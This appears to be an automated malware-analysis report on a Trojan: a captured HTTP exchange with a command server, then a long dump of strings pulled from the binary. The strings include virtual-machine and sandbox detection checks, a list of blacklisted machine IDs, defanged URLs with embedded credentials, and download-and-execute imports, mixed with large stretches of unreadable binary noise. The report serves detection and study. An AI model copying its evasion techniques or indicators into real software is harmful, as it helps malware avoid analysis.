User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/html

Date: Sat, 27 Jun 2015 06:34:45 GMT

Server: nginx

transfer-encoding: chunked

Connection: keep-alive
2254..af0ea048ae015f198cc5b8a440600e9df711bf7d28d639bbc3f14c2561245718
333af0d8dc099afee7af05a7a279b7eb94f4cc1ef6264c343368d5cb0b31daf122bfcb
c692e39167a0ff553929d60144dfa98a4913065096be385eaaa28dd11b783c29e33989
998c088a3e522310fdc33a51d61f5cabcae6dcbda4cc1b3ff765bfbf4f835607814fd8
880de63c40d972f8f5ab5f192b2efec11264861761a608278c7eb86fade89e6b0a5d8c
0c0c3f9c7df60bf691c6a7694e071cf8c7156d598791542bafbf938bdfff4069b1d370
706eaa88117c41430413cfe1c9083ed523c0edb45cc74613190f65cd214ad42221ea0c
5530e8752c287c2b6453196ee9b97d5008540449455acdee3b420801c94b8b5e51b830
a69ac6e2ecd35ed2cc471da2750c3ac9a60d672f2ce9c1697da202648598a6eb1940e3
146f519bb21cb7695ce796f97909447def2eaef91ff54f8928e2054e75232cacc99f57
0946de0dc46f53a9381a234c51e23935197ebee98eac88711004def1d8fd403bb83bc9
86ffca18709a7e9723c0efdf7f1d32a6e374a007aba94a480c00bfb40e1ac23c012b2b
75a61e912e10d51e936ff41d7b3d6c166cbcdf74c4dcfe67d60c22e74b1135b0e1f5bf
a526011e2bfd1a811ffadd3f3a895b5fd7e5357e45ffdc68ef3d7f3ca57a7c641f8d16
bf3c7f24a298ec71316ffafd246e1fb812de2ca1ea1382a373b68a3169c09f6681e787
3c48bc227de10c769f993024348266b09fee28fa224959b19264d6852cab7cf2e60e24
0dae8e56979b314096c4695ea9c8bbcedff82ec4429967fb1251610588fc9fbec07569
9ebe4c273f3ca61f44612b650ba5efd68ccd3cfaaec0b1c776044223493ba25760ed30
00f9a8309a73f833fa16b87b7d8d9440480d0428954192cd845b93c2d598fef300eb78
0454f4c6d49c0b1cf983e3a1d1b28e3475aeeaae0647b7a268d94dfb197bc5df5c21f5
23ba7b3b5009ba1e51facb12596bc16bcf5e804558c842721015ec76cdae173df3a914
2fb9d66dc84286fd34b06d56697a708919236385dd684082fd11f83c00329e6525
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rsrc

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

PSSSSSSh

J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ<=JJJJJJJJJJJ>?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

kernel32.dll

%System%\drivers\vmmouse.sys

%System%\drivers\vmhgfs.sys

%System%\drivers\VBoxMouse.sys

sbiedll.dll

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf

SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Classes\ProcMon.Logfile.1\shell\open\command

IsWindowsServer

hXXps://ssl.google-analytics.com/collect?

CQQZZZZZZfpuyy$,49HHQ^lntDCLPZ\drz%-1:

JUUXXXXXZdqss},0<DIM\cmn|'0;EKZ_gu9DP

MMQZZZZZZ_mx#.4@AAOSTYchinyyz 5DLVbhr

KKPSSSSSaft|$-<?MT`dpu|#8DDJYY]ehu} :ILRVbgq{)38;BERXYgjxz(.=JJMYY[`cm

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocnum

BKNRRRRRR\dox'/==JKQX]]kkq )3BNP_ipwxx'59=EELOWZcpsvz'-48CHORYYYaly}#,4>

MNN]]]]]js###///<KYdmmq{|-15APZcpr} ,7>F

ORS\\\\\]amx!&3=DR]afiilv"#,14ADKUdps!/=GUXdmt"%/;HTV\gsv#).<>EOOSTZity!

AKRVVVVVWajo{#-58DMZbpw}&,0;HRYfr#&*29=H

P\\bbbbbly*,0:AFIJOWaahq".6ENZioz$),26DN]ffqw!CIW_nv$%-68==EGUW]clpu#

N[_aaaaakyz&/48=AAFQX__fix%-7DHMRXfhqz}#

ENOXXXXXfn{GDP_jlrr{|"15?HLLVZhv'69:AI

AMM[[[[[akkmq "   46>FTagqssx)357DHOUdp{

CPSYYYYYZ\iisx|***8@IT_fjsv'',39@JWZ\acjnprwzz$.3@@MVeet$(DRX]epruy}%3

P[aggggguuw|%' .7=GUdpz 9BNVbnrrx&-.1@NN

PPVWWWWW^^fnqx'6?JJQ^ftv%.=CLWacrt}%(*112?JQUZ\\bgt|*0?KPSTVZ_bblvw|",9<

PYYcccccilux"LJOXbmw!,9<HIQYZcp{| # 02AO]bhjw{'(3:EGT_gtw(*688CPPVaoruv%2:;HTXfntv%2=CLSYgkl{#-166DDP^

ENSUUUUUX`ddkwFHV[bm{$ ,134ACDRWfnqr{

FFKMMMMMSY`noww|}  779ERWemu",8BQV`o{ -4BCEOPRUchns} 23?ACOWchjw" ../<=J

LZ______agq"'/8CHS]llr|,,-9DOQTXfn}!##''389:EP\ku!,,/0<JLW[cgosty| $..;>HMT]`mt")3?EMV^hlrz (5>GT]^ly"1

()$^.* ?[]|\-{},:=!

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\locale

invalid _N_type: %d

AKRVVVVVdnt%&(0=LWafqy%' 22<GVbdgmx{,033=KXgnuvx"/=BFP[adix$LCPWYZ`ddq

BKNRRRRR_eov&&5<CMZdetu%% 0=@ACRTadlswy#0<GPW^aeehjry)*2=CGR^^iipx|}#'19

KV[gggggtyz'-8AMYbbcfjnv}!%'*,5@MQVabhjjly{{,;JUben{)1:FU]drx%%4<AM[gs#)

IIPYYYYYYht|(FRWcrss|}(7ANWdfmp||-8BGL

N\`aaaaafor"/:>JMRZhoox{*6@DFNV`efp $ 5@DRRZbl{$&&566CPUdprtx$1;>FGOQSag

INSTTTTT^``acgs$34?DGLW_esx!%LEPXgor|}

CRSZZZZZadp{)-223BOSber} (17>HHRWXafku#,

HRTWWWWWahv&1>LPS[fqr".=IO^jmny}*-111;JMR`jy';IU[jluw}(5=>JJR]_cjuv%)/3::EIW_egl{  9<CMUZ_llmwLCR^^a

LSXaaaaanr $(.6AFLPP[bmu!/024BMYY[bity"'-<CGNN[_bjow ! 8:BJLNNPRagvw"/<=GQ``opr# 1@MW_jmv"*4<FTZ]epvx|$,8EPX[jry'2=ALMQZ`hswy&(4;@IWWdiqx')88BOOUcoy!.<BHL[aiv%*3467EIPUVV`hhhsy"$%'/17FTV^ko{ ,9CQXZ]ccny*/046=CQQ]fo|*4BBKT]ainpy&-;CQZcrv} 7AHS`iry'*7;EFJL[^jyy#0>IV\dft%3:;@@LPRY\_akxxy&&36>EHO^mu%*33?DQ[cfrz##2ABBENX^iuz$$&'*.4CJLLNUWfrz&,2AESZdssw( /77:;EIX`iimvy}(2@AKNRajjy"*/9CMVdr!".18AO\kuz#'5:BQSahjpsvxx&&'(0>@HPYfu&235:@CJMUcpw#-.9EPPTW[[hhw'3=AISTZdhrux ##)8>EPWW\hvv$3=HU\belt{*1>ELM\enrruu$34BBIUXcrtx|}-6DNTalou"#'229DSW`my| %..4BLSbgns /1>CDSU`mw!*2<@FFMMRSUclt"*9DIXfgsy!!,6?DDGRRXZ^blmpw{(*58?FU^`dhhlltu}'2=KNX]ailz)3>FQT`dfjks!$*37@BFKO\hiu"  ,0;IOSValy# 4;CEIMMQQYZbju"03=BFNQ_lv# 69EIKOPXdgjwyy -.::GHWds|$ 79;HKT\gip{||,01@IIMQVYehin{{!*29>KX_cqx'18<EKMZ[gguuxz'.4>>CHOUbkqs""&&2ADOPUcekt!.6<<ELLU_ioxy*2?DEQ\`jo{(79B

KUZbbbbbmoo{ 8AFGU`esu} )6@FNT]`eggu}''(09EPS\ciwy}%* 1>LVcgq .8:;ABISZ`gms{(*9BEEKUZam{&5DHQ`gjvy)//>HOVWdkku#$%3<CP\]beqry',,1<?ACOWfhw|(13?DGLX`eq{# -7BKRY\_kyz*8DPZdp}"(-9@@CCLTYZegov$.5>@LSZhtz(,38;GGOOOTX]ipprx&0458<JLVVX^mr##,1249FHUdhv!,;AITZ\\^m{ 9HHSX^djmty*,1?HLYhs '(-7ANSSZflnr}$$ 05?HHP]jmr!8GJTTUcmqu&3<?HSS^hj

NUW\\\\\_`bffggis!-8ELQSZ]hiitw%.:HU[`ggmmrsz*39?GGU^acn}'135BP^kppv%.1?EQSSUYgvy ==ADNZbn{{'3>?MZfps} ,255DNYYhku}) .9DGLSX]^hjjx&.<>EKKP^dp ,9;?JYcmns"#)6@OPPWZinvy %1@KZccnq '*5<JLQT[aafpru&1<@NX\ikr}}$.1>>MY]ltz#-6DSaht{(1?IMM[dgt"#%3;HPYhlqqy '55DFTZ`mw $2?DDEELZdgpsz!#%%,.3BELMWX]gmor{(46EFT\affhlz") ,.6:EGIR[_hm{{ &./:ANT_hiu{|LMTTVXgiv'//2=KTUY[ft||'*8<FSZ`hu}}&&3@FKZiuz{{!(2>BBQQ_ny)-2;BDQTchp},05>FJWbimx%&.9>KLSXfhiuuuvz(0;=@@HLQ`eq!)26ACFRTWahmqvw} $$.:DRapp! -2249<GORYcn{)7?HWdp}$12@CGMP[fmzz)5>AIRVaiq{'*0:CR_enqt#) ,..27?NOOYdhnx",4?NV`owx''/8;?KW`ajkt"*8<IRR^js{'018;AER[[\iu|(),07FJNVVdopy!(19>@JXes !.:<INU]lmoy(7FIKXfnpz 06?LWdfhu&244555=JW[`bktuy|'1>

ENOXXXXX]ghnw"178CQT\hp{!&/37BMTZchhpz$15?@ABDSW^bjrz)05>GN\bcfhvv# 469>BQU``iprv!&1?DIQWegm{|-4@EFFHTVaapz#'46:FJWfpv ).5;HHNSUdpq *2?F

NetBase.cpp

KY[dddddmsx'*7<HUWet#*029CLO[annz|',,,4?JMVcqt{),9:ETcp}',49=FPTbku)BCIPQ_`effrr /:<HOOQW]in} (*-58;BJ

CHN]]]]]gosv" -5BKYhmt}.8>ENZ`nns}.249CQ

URL EMPTY

HKLPPPPP^jqvCGR[hs| $'*67;BMV[\gr{,48

HMQ\\\\\ejwy{|-:FPVW[jkux #),7@OTcp *3:=

"url":"

ParseUrl

/Setup.application

hXXp://

PictureEx.cpp

c:\logFile.txt

hXXp://42e546f0ea2d40afa114ea020951ec9d:9538ea5acbbe4fc6b42811c415685653@

.cpp" ,

errormsg

Error opening key.

Key not found.

CheckRegistryKeyExistance

_virtualGetStringKey

_virtualSetStringKey

_virtualSetDwordKey

_virtualcheckRegkKey

SetStringKey

inflate 1.1.3 Copyright 1995-1998 Mark Adler

CWebBrowser2

0.0.0.0

mb_00000000-0000-0000-0807-060504030201

mb_09F005AE-AC9D-4FC1-AB7A-24004F6C043A

mb_01010101-0101-0101-0101-010101010101

mb_58585858-5858-5858-5858-585858585858

mb_4c4c4544-0000-2010-8020-80c04f202020

mb_11111111-2222-3333-4444-555555555555

mb_11111111-1111-1111-1111-111111111111

mb_00020003-0004-0005-0006-000700080009

mb_890E2D14-CACD-45D1-AE66-BC80E8BFEB0F

mb_8E275844-178F-44A8-ACEB-A7D7E5178C63

mb_52309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_DC698397-FA54-4CF2-82C8-B1B5307A6A7F

mb_61F39712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_50FB9712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_93309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_56F49712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_07090201-0103-0301-0807-060504030201

mb_03000200-0400-0500-0006-000700080009

mb_FEFEFEFE-FEFE-FEFE-FEFE-FEFEFEFEFEFE

mb_FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_00000000-0000-0000-0000-000000000000

CNotSupportedException

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\except.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtls_.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemisc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winstr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\strcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtempl.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\afx.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\thrdcore.cpp

m_nMsgLast =

m_msgCur = {

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcoll.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\elements.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcomctl32.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcore.cpp

IGNORING command id 0xX sent to %hs dialog.

Routing command id 0xX to app.

Routing command id 0xX to owner window.

Warning: Creating dialog from within a COleControlModule application is not a supported scenario.

Warning: ExecuteDlgInit failed during dialog init.

ERROR: Dialog with IDD 0xX must have the child style.

ERROR: Dialog with IDD 0xX must be invisible.

ERROR: Cannot find dialog template with IDD 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp

Warning: unknown WM_MEASUREITEM for menu item 0xX.

hhctrl.ocx

Implementation Warning: control notification = $%X.

Warning: not executing disabled command %d

hWnd = $X (nIDC=$X) is not a %hs.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afximpl.h

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\cmdtarg.cpp

SENDING control notification %d from control id 0xX to %hs window.

SENDING command id 0xX to %hs target.

No handler for command ID 0xX, disabling it.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winocc.cpp

Error: no data exchange control with ID 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wingdi.cpp

m_ps.rcPaint =

m_ps.fErase =

m_ps.hdc =

lgpn.lopnColor =

lgpn.lopnWidth.x (width) =

lgpn.lopnStyle =

lb.lbColor =

lb.lbHatch =

lb.lbStyle =

lf.lfFaceName =

lf.lfPitchAndFamily =

lf.lfQuality =

lf.lfClipPrecision =

lf.lfOutPrecision =

lf.lfCharSet =

lf.lfStrikeOut =

lf.lfUnderline =

lf.lfItalic =

lf.lfWeight =

lf.lfOrientation =

lf.lfEscapement =

lf.lfWidth =

lf.lfHeight =

bm.bmBitsPixel =

bm.bmPlanes =

bm.bmWidthBytes =

bm.bmWidth =

bm.bmHeight =

bm.bmType =

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxtls.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occmgr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occdlg.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

m_pszExeName =

m_nCmdShow =

m_lpCmdLine =

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxadv.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Warning: no message line prompt for ID 0xX.

Warning: OnUpdateKeyIndicator - unknown indicator 0xX.

Warning: scroll bars in frame windows may cause unusual behaviour.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxpriv.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui1.cpp

Error: failed to load message box prompt string 0xx.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occsite.cpp

IOleInPlaceObject not supported on OLE control (dialog ID %d).

Persistence not supported on OLE control %ls.

%d. Column ordinal %d: Binding as native data type

%d. Column ordinal %d: Binding a COM object

F%d. Column ordinal %d: Binding as an IStream object

%d. Column ordinal %d: Binding as an ISequentialStream object

neither ISequentialStream nor IStream are supported!

IStream is supported

FISequentialStream is supported

Testing streams support...

%d. Column ordinal %d: Binding by reference in provider allocated, consumer owned memory

%d. Column ordinal %d: Binding length and status ONLY

Number of columns: %d

f:\dd\vctools\vc7libs\ship\atlmfc\include\atldbcli.h

Unsupported DBTYPE (%d) in column %d

$@Column %d not bound

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occcont.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wingdix.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleunk.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxole.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxstate.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\objcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcobj.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arccore.cpp

CHttpConnection

CHttpFile

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\inet.cpp

Unknown status: %d

Internet ctxt=%d:

Warning: throwing CInternetException for error %d

Warning: Extended error reported with no response info

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filex.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olevar.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcex.cpp

WM_HOTKEY

WM_SETHOTKEY

WM_IDLEUPDATECMDUI

WM_DDE_EXECUTE

WM_KEYLAST

WM_SYSKEYUP

WM_SYSKEYDOWN

WM_KEYUP

WM_KEYDOWN

WM_VKEYTOITEM

WM_CTLCOLORMSGBOX

WM_USER 0xX

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxtrace.cpp

Warning: Unable to unpack WM_DDE_EXECUTE lParam lX.

Warning: failed to reclaim %d bytes for memory safety pool.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winhand.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpcont.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_b.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_w.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_d.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_p.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_o.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_pp.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_wo.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_so.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_ss.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcomm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\bartool.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcmn.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winmenu.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winutil.cpp

Warning: Shrinking safety pool from %d to %d to satisfy request of %d bytes.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgtempl.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\list_p.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olelock.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxcrit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\apphelp.cpp

Error: failed to load AfxFormatString string 0xx.

Error: illegal string index requested %d.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occevent.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filemem.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\plex.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui3.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcmn2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledisp2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcstrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleenum.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxmt.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filest.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpout.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\fixalloc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olefact.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledisp1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olecnvrt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemsgf.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occlock.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledobj2.cpp

a %hs object at $%p, %u bytes long

an invalid object at $%p, %u bytes long

faulted while dumping object at $%p, %u bytes long

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledlgs2.cpp

m_bz.hTask =

m_bz.hResource =

m_bz.lpszTemplate =

m_bz.hInstance =

m_bz.lCustData =

m_bz.lpszCaption =

m_bz.hWndOwner =

m_bz.dwFlags =

m_bz.cbStruct =

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledoc1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\list_o.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

%s(%d) :

%s_%0x

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atlbase.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setvbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\threadex.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\w_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

This is an unsupported way to load Visual C   DLLs. You need to modify your application to build with a manifest.

- Attempt to initialize the CRT more than once.

- CRT not initialized

Please contact the application's support team for more information.

- floating point support not loaded

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

ADVAPI32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

USER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\convrtcp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

Run-Time Check Failure #%d - %s

%s%s%s%s

%s%s%p%s%ld%s%d%s

user32.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

MSPDB80.DLL

RegCloseKey

RegOpenKeyExA

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appmodul.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winmain.cpp

GetProcessHeap

KERNEL32.dll

SetWindowsHookExW

GetKeyState

CreateDialogIndirectParamW

UnhookWindowsHookEx

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegQueryInfoKeyW

RegDeleteKeyW

RegCreateKeyW

RegEnumKeyW

RegOpenKeyW

RegCreateKeyExW

ADVAPI32.dll

ole32.dll

ShellExecuteExW

ShellExecuteW

SHELL32.dll

OLEAUT32.dll

UrlUnescapeW

SHLWAPI.dll

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

oledlg.dll

URLDownloadToFileW

urlmon.dll

dbghelp.dll

IPHLPAPI.DLL

RPCRT4.dll

OLEACC.dll

InternetCrackUrlW

InternetCanonicalizeUrlW

InternetOpenUrlW

HttpOpenRequestW

HttpSendRequestW

HttpQueryInfoW

WININET.dll

GetCPInfo

GetConsoleOutputCP

.?AVCCmdTarget@@

MaxCore.cpp

MaxCoreDlg.cpp

.?AVCWebBrowser2@@

.?AVExecuteBase@@

.?AVExecuteFacade@@

Idispimp.cpp

.PAVCFileException@@

.PAVCInternetException@@

.PAVexception@std@@

Text.cpp

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.PAVCOleException@@

.?AVCNotSupportedException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCUserException@@

.PAVCResourceException@@

.PAVCArchiveException@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCOleDispatchException@@

zcÁ

174.100.194.220

domain.com

.hAJv

UDPj

.SzFpv

S_%.Ih

@%u(_

]%uN 

gw.fr

5Zd%S/

[email protected]

icRtY

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo></assembly>

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xutility

AtlThrow: hr = 0x%x

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlsimpstr.h

std::_Vector_const_iterator<unsigned int,class std::allocator<unsigned int> >::operator *

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\vector

std::_Vector_const_iterator<unsigned int,class std::allocator<unsigned int> >::operator  =

